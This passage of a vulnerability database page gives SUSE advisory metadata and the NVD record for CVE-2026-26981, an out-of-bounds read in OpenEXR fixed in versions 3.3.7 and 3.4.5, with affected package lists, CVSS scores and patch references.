"openSUSE Tumbleweed:libIex-3_4-33-32bit-3.4.5-1.1.aarch64",
"openSUSE Tumbleweed:libIex-3_4-33-32bit-3.4.5-1.1.ppc64le",
"openSUSE Tumbleweed:libIex-3_4-33-32bit-3.4.5-1.1.s390x",
"openSUSE Tumbleweed:libIex-3_4-33-32bit-3.4.5-1.1.x86_64",
"openSUSE Tumbleweed:libIex-3_4-33-x86-64-v3-3.4.5-1.1.aarch64",
"openSUSE Tumbleweed:libIex-3_4-33-x86-64-v3-3.4.5-1.1.ppc64le",
"openSUSE Tumbleweed:libIex-3_4-33-x86-64-v3-3.4.5-1.1.s390x",
"openSUSE Tumbleweed:libIex-3_4-33-x86-64-v3-3.4.5-1.1.x86_64",
"openSUSE Tumbleweed:libIlmThread-3_4-33-3.4.5-1.1.aarch64",
"openSUSE Tumbleweed:libIlmThread-3_4-33-3.4.5-1.1.ppc64le",
"openSUSE Tumbleweed:libIlmThread-3_4-33-3.4.5-1.1.s390x",
"openSUSE Tumbleweed:libIlmThread-3_4-33-3.4.5-1.1.x86_64",
"openSUSE Tumbleweed:libIlmThread-3_4-33-32bit-3.4.5-1.1.aarch64",
"openSUSE Tumbleweed:libIlmThread-3_4-33-32bit-3.4.5-1.1.ppc64le",
"openSUSE Tumbleweed:libIlmThread-3_4-33-32bit-3.4.5-1.1.s390x",
"openSUSE Tumbleweed:libIlmThread-3_4-33-32bit-3.4.5-1.1.x86_64",
"openSUSE Tumbleweed:libIlmThread-3_4-33-x86-64-v3-3.4.5-1.1.aarch64",
"openSUSE Tumbleweed:libIlmThread-3_4-33-x86-64-v3-3.4.5-1.1.ppc64le",
"openSUSE Tumbleweed:libIlmThread-3_4-33-x86-64-v3-3.4.5-1.1.s390x",
"openSUSE Tumbleweed:libIlmThread-3_4-33-x86-64-v3-3.4.5-1.1.x86_64",
"openSUSE Tumbleweed:libOpenEXR-3_4-33-3.4.5-1.1.aarch64",
"openSUSE Tumbleweed:libOpenEXR-3_4-33-3.4.5-1.1.ppc64le",
"openSUSE Tumbleweed:libOpenEXR-3_4-33-3.4.5-1.1.s390x",
"openSUSE Tumbleweed:libOpenEXR-3_4-33-3.4.5-1.1.x86_64",
"openSUSE Tumbleweed:libOpenEXR-3_4-33-32bit-3.4.5-1.1.aarch64",
"openSUSE Tumbleweed:libOpenEXR-3_4-33-32bit-3.4.5-1.1.ppc64le",
"openSUSE Tumbleweed:libOpenEXR-3_4-33-32bit-3.4.5-1.1.s390x",
"openSUSE Tumbleweed:libOpenEXR-3_4-33-32bit-3.4.5-1.1.x86_64",
"openSUSE Tumbleweed:libOpenEXR-3_4-33-x86-64-v3-3.4.5-1.1.aarch64",
"openSUSE Tumbleweed:libOpenEXR-3_4-33-x86-64-v3-3.4.5-1.1.ppc64le",
"openSUSE Tumbleweed:libOpenEXR-3_4-33-x86-64-v3-3.4.5-1.1.s390x",
"openSUSE Tumbleweed:libOpenEXR-3_4-33-x86-64-v3-3.4.5-1.1.x86_64",
"openSUSE Tumbleweed:libOpenEXRCore-3_4-33-3.4.5-1.1.aarch64",
"openSUSE Tumbleweed:libOpenEXRCore-3_4-33-3.4.5-1.1.ppc64le",
"openSUSE Tumbleweed:libOpenEXRCore-3_4-33-3.4.5-1.1.s390x",
"openSUSE Tumbleweed:libOpenEXRCore-3_4-33-3.4.5-1.1.x86_64",
"openSUSE Tumbleweed:libOpenEXRCore-3_4-33-32bit-3.4.5-1.1.aarch64",
"openSUSE Tumbleweed:libOpenEXRCore-3_4-33-32bit-3.4.5-1.1.ppc64le",
"openSUSE Tumbleweed:libOpenEXRCore-3_4-33-32bit-3.4.5-1.1.s390x",
"openSUSE Tumbleweed:libOpenEXRCore-3_4-33-32bit-3.4.5-1.1.x86_64",
"openSUSE Tumbleweed:libOpenEXRCore-3_4-33-x86-64-v3-3.4.5-1.1.aarch64",
"openSUSE Tumbleweed:libOpenEXRCore-3_4-33-x86-64-v3-3.4.5-1.1.ppc64le",
"openSUSE Tumbleweed:libOpenEXRCore-3_4-33-x86-64-v3-3.4.5-1.1.s390x",
"openSUSE Tumbleweed:libOpenEXRCore-3_4-33-x86-64-v3-3.4.5-1.1.x86_64",
"openSUSE Tumbleweed:libOpenEXRUtil-3_4-33-3.4.5-1.1.aarch64",
"openSUSE Tumbleweed:libOpenEXRUtil-3_4-33-3.4.5-1.1.ppc64le",
"openSUSE Tumbleweed:libOpenEXRUtil-3_4-33-3.4.5-1.1.s390x",
"openSUSE Tumbleweed:libOpenEXRUtil-3_4-33-3.4.5-1.1.x86_64",
"openSUSE Tumbleweed:libOpenEXRUtil-3_4-33-32bit-3.4.5-1.1.aarch64",
"openSUSE Tumbleweed:libOpenEXRUtil-3_4-33-32bit-3.4.5-1.1.ppc64le",
"openSUSE Tumbleweed:libOpenEXRUtil-3_4-33-32bit-3.4.5-1.1.s390x",
"openSUSE Tumbleweed:libOpenEXRUtil-3_4-33-32bit-3.4.5-1.1.x86_64",
"openSUSE Tumbleweed:libOpenEXRUtil-3_4-33-x86-64-v3-3.4.5-1.1.aarch64",
"openSUSE Tumbleweed:libOpenEXRUtil-3_4-33-x86-64-v3-3.4.5-1.1.ppc64le",
"openSUSE Tumbleweed:libOpenEXRUtil-3_4-33-x86-64-v3-3.4.5-1.1.s390x",
"openSUSE Tumbleweed:libOpenEXRUtil-3_4-33-x86-64-v3-3.4.5-1.1.x86_64",
"openSUSE Tumbleweed:openexr-3.4.5-1.1.aarch64",
"openSUSE Tumbleweed:openexr-3.4.5-1.1.ppc64le",
"openSUSE Tumbleweed:openexr-3.4.5-1.1.s390x",
"openSUSE Tumbleweed:openexr-3.4.5-1.1.x86_64",
"openSUSE Tumbleweed:openexr-devel-3.4.5-1.1.aarch64",
"openSUSE Tumbleweed:openexr-devel-3.4.5-1.1.ppc64le",
"openSUSE Tumbleweed:openexr-devel-3.4.5-1.1.s390x",
"openSUSE Tumbleweed:openexr-devel-3.4.5-1.1.x86_64",
"openSUSE Tumbleweed:openexr-doc-3.4.5-1.1.aarch64",
"openSUSE Tumbleweed:openexr-doc-3.4.5-1.1.ppc64le",
"openSUSE Tumbleweed:openexr-doc-3.4.5-1.1.s390x",
"openSUSE Tumbleweed:openexr-doc-3.4.5-1.1.x86_64"
]
},
"references": [
{
"category": "external",
"summary": "CVE-2026-26981",
"url": "https://www.suse.com/security/cve/CVE-2026-26981"
},
{
"category": "external",
"summary": "SUSE Bug 1258773 for CVE-2026-26981",
"url": "https://bugzilla.suse.com/1258773"
}
],
"remediations": [
{
"category": "vendor_fix",
"details": "To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or \"zypper patch\".\n",
"product_ids": [
"openSUSE Tumbleweed:libIex-3_4-33-3.4.5-1.1.aarch64",
"openSUSE Tumbleweed:libIex-3_4-33-3.4.5-1.1.ppc64le",
"openSUSE Tumbleweed:libIex-3_4-33-3.4.5-1.1.s390x",
"openSUSE Tumbleweed:libIex-3_4-33-3.4.5-1.1.x86_64",
"openSUSE Tumbleweed:libIex-3_4-33-32bit-3.4.5-1.1.aarch64",
"openSUSE Tumbleweed:libIex-3_4-33-32bit-3.4.5-1.1.ppc64le",
"openSUSE Tumbleweed:libIex-3_4-33-32bit-3.4.5-1.1.s390x",
"openSUSE Tumbleweed:libIex-3_4-33-32bit-3.4.5-1.1.x86_64",
"openSUSE Tumbleweed:libIex-3_4-33-x86-64-v3-3.4.5-1.1.aarch64",
"openSUSE Tumbleweed:libIex-3_4-33-x86-64-v3-3.4.5-1.1.ppc64le",
"openSUSE Tumbleweed:libIex-3_4-33-x86-64-v3-3.4.5-1.1.s390x",
"openSUSE Tumbleweed:libIex-3_4-33-x86-64-v3-3.4.5-1.1.x86_64",
"openSUSE Tumbleweed:libIlmThread-3_4-33-3.4.5-1.1.aarch64",
"openSUSE Tumbleweed:libIlmThread-3_4-33-3.4.5-1.1.ppc64le",
"openSUSE Tumbleweed:libIlmThread-3_4-33-3.4.5-1.1.s390x",
"openSUSE Tumbleweed:libIlmThread-3_4-33-3.4.5-1.1.x86_64",
"openSUSE Tumbleweed:libIlmThread-3_4-33-32bit-3.4.5-1.1.aarch64",
"openSUSE Tumbleweed:libIlmThread-3_4-33-32bit-3.4.5-1.1.ppc64le",
"openSUSE Tumbleweed:libIlmThread-3_4-33-32bit-3.4.5-1.1.s390x",
"openSUSE Tumbleweed:libIlmThread-3_4-33-32bit-3.4.5-1.1.x86_64",
"openSUSE Tumbleweed:libIlmThread-3_4-33-x86-64-v3-3.4.5-1.1.aarch64",
"openSUSE Tumbleweed:libIlmThread-3_4-33-x86-64-v3-3.4.5-1.1.ppc64le",
"openSUSE Tumbleweed:libIlmThread-3_4-33-x86-64-v3-3.4.5-1.1.s390x",
"openSUSE Tumbleweed:libIlmThread-3_4-33-x86-64-v3-3.4.5-1.1.x86_64",
"openSUSE Tumbleweed:libOpenEXR-3_4-33-3.4.5-1.1.aarch64",
"openSUSE Tumbleweed:libOpenEXR-3_4-33-3.4.5-1.1.ppc64le",
"openSUSE Tumbleweed:libOpenEXR-3_4-33-3.4.5-1.1.s390x",
"openSUSE Tumbleweed:libOpenEXR-3_4-33-3.4.5-1.1.x86_64",
"openSUSE Tumbleweed:libOpenEXR-3_4-33-32bit-3.4.5-1.1.aarch64",
"openSUSE Tumbleweed:libOpenEXR-3_4-33-32bit-3.4.5-1.1.ppc64le",
"openSUSE Tumbleweed:libOpenEXR-3_4-33-32bit-3.4.5-1.1.s390x",
"openSUSE Tumbleweed:libOpenEXR-3_4-33-32bit-3.4.5-1.1.x86_64",
"openSUSE Tumbleweed:libOpenEXR-3_4-33-x86-64-v3-3.4.5-1.1.aarch64",
"openSUSE Tumbleweed:libOpenEXR-3_4-33-x86-64-v3-3.4.5-1.1.ppc64le",
"openSUSE Tumbleweed:libOpenEXR-3_4-33-x86-64-v3-3.4.5-1.1.s390x",
"openSUSE Tumbleweed:libOpenEXR-3_4-33-x86-64-v3-3.4.5-1.1.x86_64",
"openSUSE Tumbleweed:libOpenEXRCore-3_4-33-3.4.5-1.1.aarch64",
"openSUSE Tumbleweed:libOpenEXRCore-3_4-33-3.4.5-1.1.ppc64le",
"openSUSE Tumbleweed:libOpenEXRCore-3_4-33-3.4.5-1.1.s390x",
"openSUSE Tumbleweed:libOpenEXRCore-3_4-33-3.4.5-1.1.x86_64",
"openSUSE Tumbleweed:libOpenEXRCore-3_4-33-32bit-3.4.5-1.1.aarch64",
"openSUSE Tumbleweed:libOpenEXRCore-3_4-33-32bit-3.4.5-1.1.ppc64le",
"openSUSE Tumbleweed:libOpenEXRCore-3_4-33-32bit-3.4.5-1.1.s390x",
"openSUSE Tumbleweed:libOpenEXRCore-3_4-33-32bit-3.4.5-1.1.x86_64",
"openSUSE Tumbleweed:libOpenEXRCore-3_4-33-x86-64-v3-3.4.5-1.1.aarch64",
"openSUSE Tumbleweed:libOpenEXRCore-3_4-33-x86-64-v3-3.4.5-1.1.ppc64le",
"openSUSE Tumbleweed:libOpenEXRCore-3_4-33-x86-64-v3-3.4.5-1.1.s390x",
"openSUSE Tumbleweed:libOpenEXRCore-3_4-33-x86-64-v3-3.4.5-1.1.x86_64",
"openSUSE Tumbleweed:libOpenEXRUtil-3_4-33-3.4.5-1.1.aarch64",
"openSUSE Tumbleweed:libOpenEXRUtil-3_4-33-3.4.5-1.1.ppc64le",
"openSUSE Tumbleweed:libOpenEXRUtil-3_4-33-3.4.5-1.1.s390x",
"openSUSE Tumbleweed:libOpenEXRUtil-3_4-33-3.4.5-1.1.x86_64",
"openSUSE Tumbleweed:libOpenEXRUtil-3_4-33-32bit-3.4.5-1.1.aarch64",
"openSUSE Tumbleweed:libOpenEXRUtil-3_4-33-32bit-3.4.5-1.1.ppc64le",
"openSUSE Tumbleweed:libOpenEXRUtil-3_4-33-32bit-3.4.5-1.1.s390x",
"openSUSE Tumbleweed:libOpenEXRUtil-3_4-33-32bit-3.4.5-1.1.x86_64",
"openSUSE Tumbleweed:libOpenEXRUtil-3_4-33-x86-64-v3-3.4.5-1.1.aarch64",
"openSUSE Tumbleweed:libOpenEXRUtil-3_4-33-x86-64-v3-3.4.5-1.1.ppc64le",
"openSUSE Tumbleweed:libOpenEXRUtil-3_4-33-x86-64-v3-3.4.5-1.1.s390x",
"openSUSE Tumbleweed:libOpenEXRUtil-3_4-33-x86-64-v3-3.4.5-1.1.x86_64",
"openSUSE Tumbleweed:openexr-3.4.5-1.1.aarch64",
"openSUSE Tumbleweed:openexr-3.4.5-1.1.ppc64le",
"openSUSE Tumbleweed:openexr-3.4.5-1.1.s390x",
"openSUSE Tumbleweed:openexr-3.4.5-1.1.x86_64",
"openSUSE Tumbleweed:openexr-devel-3.4.5-1.1.aarch64",
"openSUSE Tumbleweed:openexr-devel-3.4.5-1.1.ppc64le",
"openSUSE Tumbleweed:openexr-devel-3.4.5-1.1.s390x",
"openSUSE Tumbleweed:openexr-devel-3.4.5-1.1.x86_64",
"openSUSE Tumbleweed:openexr-doc-3.4.5-1.1.aarch64",
"openSUSE Tumbleweed:openexr-doc-3.4.5-1.1.ppc64le",
"openSUSE Tumbleweed:openexr-doc-3.4.5-1.1.s390x",
"openSUSE Tumbleweed:openexr-doc-3.4.5-1.1.x86_64"
]
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 7.8,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"openSUSE Tumbleweed:libIex-3_4-33-3.4.5-1.1.aarch64",
"openSUSE Tumbleweed:libIex-3_4-33-3.4.5-1.1.ppc64le",
"openSUSE Tumbleweed:libIex-3_4-33-3.4.5-1.1.s390x",
"openSUSE Tumbleweed:libIex-3_4-33-3.4.5-1.1.x86_64",
"openSUSE Tumbleweed:libIex-3_4-33-32bit-3.4.5-1.1.aarch64",
"openSUSE Tumbleweed:libIex-3_4-33-32bit-3.4.5-1.1.ppc64le",
"openSUSE Tumbleweed:libIex-3_4-33-32bit-3.4.5-1.1.s390x",
"openSUSE Tumbleweed:libIex-3_4-33-32bit-3.4.5-1.1.x86_64",
"openSUSE Tumbleweed:libIex-3_4-33-x86-64-v3-3.4.5-1.1.aarch64",
"openSUSE Tumbleweed:libIex-3_4-33-x86-64-v3-3.4.5-1.1.ppc64le",
"openSUSE Tumbleweed:libIex-3_4-33-x86-64-v3-3.4.5-1.1.s390x",
"openSUSE Tumbleweed:libIex-3_4-33-x86-64-v3-3.4.5-1.1.x86_64",
"openSUSE Tumbleweed:libIlmThread-3_4-33-3.4.5-1.1.aarch64",
"openSUSE Tumbleweed:libIlmThread-3_4-33-3.4.5-1.1.ppc64le",
"openSUSE Tumbleweed:libIlmThread-3_4-33-3.4.5-1.1.s390x",
"openSUSE Tumbleweed:libIlmThread-3_4-33-3.4.5-1.1.x86_64",
"openSUSE Tumbleweed:libIlmThread-3_4-33-32bit-3.4.5-1.1.aarch64",
"openSUSE Tumbleweed:libIlmThread-3_4-33-32bit-3.4.5-1.1.ppc64le",
"openSUSE Tumbleweed:libIlmThread-3_4-33-32bit-3.4.5-1.1.s390x",
"openSUSE Tumbleweed:libIlmThread-3_4-33-32bit-3.4.5-1.1.x86_64",
"openSUSE Tumbleweed:libIlmThread-3_4-33-x86-64-v3-3.4.5-1.1.aarch64",
"openSUSE Tumbleweed:libIlmThread-3_4-33-x86-64-v3-3.4.5-1.1.ppc64le",
"openSUSE Tumbleweed:libIlmThread-3_4-33-x86-64-v3-3.4.5-1.1.s390x",
"openSUSE Tumbleweed:libIlmThread-3_4-33-x86-64-v3-3.4.5-1.1.x86_64",
"openSUSE Tumbleweed:libOpenEXR-3_4-33-3.4.5-1.1.aarch64",
"openSUSE Tumbleweed:libOpenEXR-3_4-33-3.4.5-1.1.ppc64le",
"openSUSE Tumbleweed:libOpenEXR-3_4-33-3.4.5-1.1.s390x",
"openSUSE Tumbleweed:libOpenEXR-3_4-33-3.4.5-1.1.x86_64",
"openSUSE Tumbleweed:libOpenEXR-3_4-33-32bit-3.4.5-1.1.aarch64",
"openSUSE Tumbleweed:libOpenEXR-3_4-33-32bit-3.4.5-1.1.ppc64le",
"openSUSE Tumbleweed:libOpenEXR-3_4-33-32bit-3.4.5-1.1.s390x",
"openSUSE Tumbleweed:libOpenEXR-3_4-33-32bit-3.4.5-1.1.x86_64",
"openSUSE Tumbleweed:libOpenEXR-3_4-33-x86-64-v3-3.4.5-1.1.aarch64",
"openSUSE Tumbleweed:libOpenEXR-3_4-33-x86-64-v3-3.4.5-1.1.ppc64le",
"openSUSE Tumbleweed:libOpenEXR-3_4-33-x86-64-v3-3.4.5-1.1.s390x",
"openSUSE Tumbleweed:libOpenEXR-3_4-33-x86-64-v3-3.4.5-1.1.x86_64",
"openSUSE Tumbleweed:libOpenEXRCore-3_4-33-3.4.5-1.1.aarch64",
"openSUSE Tumbleweed:libOpenEXRCore-3_4-33-3.4.5-1.1.ppc64le",
"openSUSE Tumbleweed:libOpenEXRCore-3_4-33-3.4.5-1.1.s390x",
"openSUSE Tumbleweed:libOpenEXRCore-3_4-33-3.4.5-1.1.x86_64",
"openSUSE Tumbleweed:libOpenEXRCore-3_4-33-32bit-3.4.5-1.1.aarch64",
"openSUSE Tumbleweed:libOpenEXRCore-3_4-33-32bit-3.4.5-1.1.ppc64le",
"openSUSE Tumbleweed:libOpenEXRCore-3_4-33-32bit-3.4.5-1.1.s390x",
"openSUSE Tumbleweed:libOpenEXRCore-3_4-33-32bit-3.4.5-1.1.x86_64",
"openSUSE Tumbleweed:libOpenEXRCore-3_4-33-x86-64-v3-3.4.5-1.1.aarch64",
"openSUSE Tumbleweed:libOpenEXRCore-3_4-33-x86-64-v3-3.4.5-1.1.ppc64le",
"openSUSE Tumbleweed:libOpenEXRCore-3_4-33-x86-64-v3-3.4.5-1.1.s390x",
"openSUSE Tumbleweed:libOpenEXRCore-3_4-33-x86-64-v3-3.4.5-1.1.x86_64",
"openSUSE Tumbleweed:libOpenEXRUtil-3_4-33-3.4.5-1.1.aarch64",
"openSUSE Tumbleweed:libOpenEXRUtil-3_4-33-3.4.5-1.1.ppc64le",
"openSUSE Tumbleweed:libOpenEXRUtil-3_4-33-3.4.5-1.1.s390x",
"openSUSE Tumbleweed:libOpenEXRUtil-3_4-33-3.4.5-1.1.x86_64",
"openSUSE Tumbleweed:libOpenEXRUtil-3_4-33-32bit-3.4.5-1.1.aarch64",
"openSUSE Tumbleweed:libOpenEXRUtil-3_4-33-32bit-3.4.5-1.1.ppc64le",
"openSUSE Tumbleweed:libOpenEXRUtil-3_4-33-32bit-3.4.5-1.1.s390x",
"openSUSE Tumbleweed:libOpenEXRUtil-3_4-33-32bit-3.4.5-1.1.x86_64",
"openSUSE Tumbleweed:libOpenEXRUtil-3_4-33-x86-64-v3-3.4.5-1.1.aarch64",
"openSUSE Tumbleweed:libOpenEXRUtil-3_4-33-x86-64-v3-3.4.5-1.1.ppc64le",
"openSUSE Tumbleweed:libOpenEXRUtil-3_4-33-x86-64-v3-3.4.5-1.1.s390x",
"openSUSE Tumbleweed:libOpenEXRUtil-3_4-33-x86-64-v3-3.4.5-1.1.x86_64",
"openSUSE Tumbleweed:openexr-3.4.5-1.1.aarch64",
"openSUSE Tumbleweed:openexr-3.4.5-1.1.ppc64le",
"openSUSE Tumbleweed:openexr-3.4.5-1.1.s390x",
"openSUSE Tumbleweed:openexr-3.4.5-1.1.x86_64",
"openSUSE Tumbleweed:openexr-devel-3.4.5-1.1.aarch64",
"openSUSE Tumbleweed:openexr-devel-3.4.5-1.1.ppc64le",
"openSUSE Tumbleweed:openexr-devel-3.4.5-1.1.s390x",
"openSUSE Tumbleweed:openexr-devel-3.4.5-1.1.x86_64",
"openSUSE Tumbleweed:openexr-doc-3.4.5-1.1.aarch64",
"openSUSE Tumbleweed:openexr-doc-3.4.5-1.1.ppc64le",
"openSUSE Tumbleweed:openexr-doc-3.4.5-1.1.s390x",
"openSUSE Tumbleweed:openexr-doc-3.4.5-1.1.x86_64"
]
}
],
"threats": [
{
"category": "impact",
"date": "2026-02-27T00:00:00Z",
"details": "important"
}
],
"title": "CVE-2026-26981"
}
]
}
FKIE_CVE-2026-26981
Vulnerability from fkie_nvd - Published: 2026-02-24 03:16 - Updated: 2026-02-25 17:30{
"configurations": [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:openexr:openexr:*:*:*:*:*:*:*:*",
"matchCriteriaId": "9609FA05-1955-406E-BF47-2DB544450059",
"versionEndExcluding": "3.3.7",
"versionStartIncluding": "3.3.0",
"vulnerable": true
},
{
"criteria": "cpe:2.3:a:openexr:openexr:*:*:*:*:*:*:*:*",
"matchCriteriaId": "DD82B1F5-5B57-49E4-A50C-303F66BB55C0",
"versionEndExcluding": "3.4.5",
"versionStartIncluding": "3.4.0",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
]
}
],
"cveTags": [],
"descriptions": [
{
"lang": "en",
"value": "OpenEXR provides the specification and reference implementation of the EXR file format, an image storage format for the motion picture industry. In versions 3.3.0 through 3.3.6 and 3.4.0 through 3.4.4, a heap-buffer-overflow (OOB read) occurs in the `istream_nonparallel_read` function in `ImfContextInit.cpp` when parsing a malformed EXR file through a memory-mapped `IStream`. A signed integer subtraction produces a negative value that is implicitly converted to `size_t`, resulting in a massive length being passed to `memcpy`. Versions 3.3.7 and 3.4.5 contain a patch."
},
{
"lang": "es",
"value": "OpenEXR proporciona la especificaci\u00f3n y la implementaci\u00f3n de referencia del formato de archivo EXR, un formato de almacenamiento de im\u00e1genes para la industria cinematogr\u00e1fica. En las versiones 3.3.0 a 3.3.6 y 3.4.0 a 3.4.4, ocurre un desbordamiento de b\u00fafer de pila (lectura fuera de l\u00edmites) en la funci\u00f3n `istream_nonparallel_read` en `ImfContextInit.cpp` al analizar un archivo EXR malformado a trav\u00e9s de un `IStream` mapeado en memoria. Una resta de enteros con signo produce un valor negativo que se convierte impl\u00edcitamente a `size_t`, lo que resulta en una longitud masiva que se pasa a `memcpy`. Las versiones 3.3.7 y 3.4.5 contienen un parche."
}
],
"id": "CVE-2026-26981",
"lastModified": "2026-02-25T17:30:34.797",
"metrics": {
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 6.5,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 2.8,
"impactScore": 3.6,
"source": "security-advisories@github.com",
"type": "Secondary"
}
]
},
"published": "2026-02-24T03:16:01.890",
"references": [
{
"source": "security-advisories@github.com",
"tags": [
"Patch"
],
"url": "https://github.com/AcademySoftwareFoundation/openexr/commit/6bb2ddf1068573d073edf81270a015b38cc05cef"
},
{
"source": "security-advisories@github.com",
"tags": [
"Patch"
],
"url": "https://github.com/AcademySoftwareFoundation/openexr/commit/d2be382758adc3e9ab83a3de35138ec28d93ebd8"
},
{
"source": "security-advisories@github.com",
"tags": [
"Exploit",
"Vendor Advisory"
],
"url": "https://github.com/AcademySoftwareFoundation/openexr/security/advisories/GHSA-q6vj-wxvf-5m8c"
}
],
"sourceIdentifier": "security-advisories@github.com",
"vulnStatus": "Analyzed",
"weaknesses": [
{
"description": [
{
"lang": "en",
"value": "CWE-195"
}
],
"source": "security-advisories@github.com",
"type": "Primary"
}
]
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.